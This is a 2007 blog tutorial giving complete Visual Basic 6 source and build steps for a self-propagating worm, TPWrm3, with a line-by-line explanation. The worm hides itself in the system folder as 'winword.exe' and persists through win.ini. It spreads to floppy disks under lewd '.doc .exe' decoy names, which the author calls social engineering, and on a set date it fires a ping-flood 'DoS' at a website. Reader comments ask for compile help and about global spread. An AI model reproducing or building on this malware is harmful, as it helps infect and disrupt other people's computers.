TPWrm3
Written on June 5, 2007 by admin
This worm name is TPWrm3 (TutorialsPortal Worm 3). In this worm, I add launcher trick methode that use Windows Configuration File (win.ini) and use array for worm filename, so this worm can copying itself with various filename.
Algorithm
1. Check for worm existence
2. If worm doesn’t find itself in computer, worm will copying itself to System Windows folder and manipulate win.ini for execute worm every Windows startup.
3. Every 1 minute try to copy itself to Floppy Disk with 10 random filename.
4. Every 30 second, cursor will move to left corner of monitor.
5. Every 13th October will show “TPWrm3 in your computer..!â€, and trying to send Denial of Service (DoS) to website.
Coding
Create new project. Change Project Name to ‘TPWrm3’, in Make tab, change Application Title to ‘TPWrm3’. Select option ‘Compile to P-Code’ in Compile tab.
Add 2 Timer object, and 1 module. Change the properties to:
Form1
Name: frmTPWrm3
Icon: (icon)
ShowInTaskbar: False
Visible: False
Timer1
Name: TPWrm3
Enable: True
Interval: 60000
Timer2
Name: tmrJoke
Enable: True
Interval: 30000
Module1
Name: mdlFileIni
Write this source code to mdlFileIni:
-
Declare Function GetPrivateProfileString Lib "kernel32" Alias _
-
"GetPrivateProfileStringA" (ByVal lpApplicationName As _
-
String, ByVal lpKeyName As String, ByVal lpDefault As String, _
-
ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _
-
lpFileName As String) As Long
-
-
Declare Function WritePrivateProfileString Lib "kernel32" Alias _
-
"WritePrivateProfileStringA" (ByVal lpApplicationName As _
-
String, ByVal lpKeyName As String, ByVal lpString As Any, _
-
ByVal lpFileName As String) As Long
-
-
Function ReadINI(Section, KeyName, filename As String) As String
-
Dim sRet As String
-
sRet = String(255, Chr(0))
-
ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _
-
KeyName, "", sRet, Len(sRet), filename))
-
End Function
-
-
Function writeini(sSection As String, sKeyName As String, _
-
sNewString As String, sFileName) As Integer
-
Dim r
-
r = WritePrivateProfileString(sSection, sKeyName, sNewString, _
-
sFileName)
-
End Function
Write this source code to frmTPWrm3:
-
'TPWrm3 by RiE
-
'Bogor, West Java - Indonesia
-
Option Explicit
-
-
Private Declare Function SetCursorPos Lib "user32" (ByVal x As _
-
Long, ByVal Y As Long) As Long
-
-
Private Sub Form_Load()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim winfolder, sysfolder As Object
-
Dim MainFile As String
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set winfolder = kiddie.GetSpecialFolder(0)
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
MainFile = sysfolder & "\" & "winword.exe"
-
If App.PrevInstance = True Then End
-
If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _
-
MainFile Then
-
Call InfectSystem
-
End If
-
If App.Path = "A:\" Or App.Path = "B:\" Then
-
Unload Me
-
End If
-
End Sub
-
-
Private Sub InfectSystem()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim winfolder, sysfolder As Object
-
Dim MainFile As String
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set winfolder = kiddie.GetSpecialFolder(0)
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
MainFile = sysfolder & "\" & "winword.exe"
-
FileCopy WormFile, MainFile
-
SetAttr MainFile, vbHidden + vbReadOnly + vbSystem
-
writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini"
-
End Sub
-
-
Private Sub InfectFloppy()
-
On Error Resume Next
-
Dim Acak As Integer
-
Dim BeautifulName(10) As String
-
BeautifulName(0) = "secret.doc .exe"
-
BeautifulName(1) = "password.doc .exe"
-
BeautifulName(2) = "sex.doc .exe"
-
BeautifulName(3) = "britney spears nude.doc .exe"
-
BeautifulName(4) = "fuck.doc .exe"
-
BeautifulName(5) = "pussy.doc .exe"
-
BeautifulName(6) = "nude.doc .exe"
-
BeautifulName(7) = "public sex.doc .exe"
-
BeautifulName(8) = "anal.doc .exe"
-
BeautifulName(9) = "oral.doc .exe"
-
Randomize
-
Acak = Int(Rnd * 10)
-
If Len(Dir$("A:\*.doc .exe")) = 0 Then
-
FileCopy WormFile, "A:\" & BeautifulName(Acak)
-
End If
-
End Sub
-
-
Private Sub tmrJoke_Timer()
-
On Error Resume Next
-
SetCursorPos 1, 1
-
End Sub
-
-
Private Sub tmrTPWrm3_Timer()
-
On Error Resume Next
-
Call InfectFloppy
-
If Day(Now) = 13 And Month(Now) = 10 Then
-
Call PayLoad
-
Unload Me
-
End If
-
End Sub
-
-
Private Sub PayLoad()
-
On Error Resume Next
-
Dim Target As String
-
Dim pingmore As Integer
-
MsgBox "TPWrm3 in your computer..!", vbExclamation
-
Target = "http://www.google.com"
-
For pingmore = 1 To 1000
-
Shell ("ping -a -l " & Target & " 65500")
-
Next pingmore
-
End Sub
-
-
Private Function WormFile()
-
Dim WPath, WName As String
-
WPath = App.Path
-
If Right(WPath, 1) <> "\" Then
-
WPath = WPath & "\"
-
End If
-
WName = App.EXEName & ".exe"
-
WormFile = WPath & WName
-
End Function
Compile it, File > Make TPWrm3.exe
Source Code Description
-
'TPWrm3 by RiE
-
'Bogor, West Java - Indonesia
-
Option Explicit
-
-
Private Declare Function SetCursorPos Lib "user32" (ByVal x As _
-
Long, ByVal Y As Long) As Long
Declare function SetCursorPos from user32 library. This statement is API Function. Function SetCursorPos is useful to set cursor position in monitor.
-
Private Sub Form_Load()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim winfolder, sysfolder As Object
-
Dim MainFile As String
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set winfolder = kiddie.GetSpecialFolder(0)
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
MainFile = sysfolder & "\" & "winword.exe"
-
If App.PrevInstance = True Then End
-
If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _
-
MainFile Then
-
Call InfectSystem
-
End If
-
If App.Path = "A:\" Or App.Path = "B:\" Then
-
Unload Me
-
End If
-
End Sub
Worm trying to get Windows Special Folder, then check for worm existence in memory.
Worm check win.ini configuration in Windows section and Run key, if can’t get MainFile value, worm call InfectSystem procedure.
-
Private Sub InfectSystem()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim winfolder, sysfolder As Object
-
Dim MainFile As String
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set winfolder = kiddie.GetSpecialFolder(0)
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
MainFile = sysfolder & "\" & "winword.exe"
-
FileCopy WormFile, MainFile
-
SetAttr MainFile, vbHidden + vbReadOnly + vbSystem
-
writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini"
-
End Sub
InfectSystem procedure use system object to get Special Folder in Windows. This worm copying itself to System Windows folder with name ‘winword.exe’ then change file attribute to Hide, Read Only, and System.
Worm manipulates win.ini in Windows section and Run key, then change value to winword.exe path.
-
Private Sub InfectFloppy()
-
On Error Resume Next
-
Dim Acak As Integer
-
Dim BeautifulName(10) As String
-
BeautifulName(0) = "secret.doc .exe"
-
BeautifulName(1) = "password.doc .exe"
-
BeautifulName(2) = "sex.doc .exe"
-
BeautifulName(3) = "britney spears nude.doc .exe"
-
BeautifulName(4) = "fuck.doc .exe"
-
BeautifulName(5) = "pussy.doc .exe"
-
BeautifulName(6) = "nude.doc .exe"
-
BeautifulName(7) = "public sex.doc .exe"
-
BeautifulName(8) = "anal.doc .exe"
-
BeautifulName(9) = "oral.doc .exe"
-
Randomize
-
Acak = Int(Rnd * 10)
-
If Len(Dir$("A:\*.doc .exe")) = 0 Then
-
FileCopy WormFile, "A:\" & BeautifulName(Acak)
-
End If
-
End Sub
This procedure will create 10 data array for use as filename. We use social engineering in here. Filename use ‘.doc .exe’ as extension, because Windows Explorer will hide the real extension, so this worm will be like Word document.
-
Private Sub tmrJoke_Timer()
-
On Error Resume Next
-
SetCursorPos 1, 1
-
End Sub
-
-
Private Sub tmrTPWrm3_Timer()
-
On Error Resume Next
-
Call InfectFloppy
-
If Day(Now) = 13 And Month(Now) = 10 Then
-
Call PayLoad
-
Unload Me
-
End If
-
End Sub
tmrJoke procedure will call SetCursorPos function with x=1 and y=1 coordinat.
tmrTPWrm3 is same with previous tutorial .
-
Private Sub PayLoad()
-
On Error Resume Next
-
Dim Target As String
-
Dim pingmore As Integer
-
MsgBox "TPWrm3 in your computer..!", vbExclamation
-
Target = "http://www.google.com"
-
For pingmore = 1 To 1000
-
Shell ("ping -a -l " & Target & " 65500")
-
Next pingmore
-
End Sub
Except show message, this worm will send ping to Google.com.
-
Private Function WormFile()
-
Dim WPath, WName As String
-
WPath = App.Path
-
If Right(WPath, 1) <> "\" Then
-
WPath = WPath & "\"
-
End If
-
WName = App.EXEName & ".exe"
-
WormFile = WPath & WName
-
End Function
WormFile function is same with previous tutorial .



i can’t compile since there are some syntax errors
need help
plz write as soon as possible
How will it spread globally huh!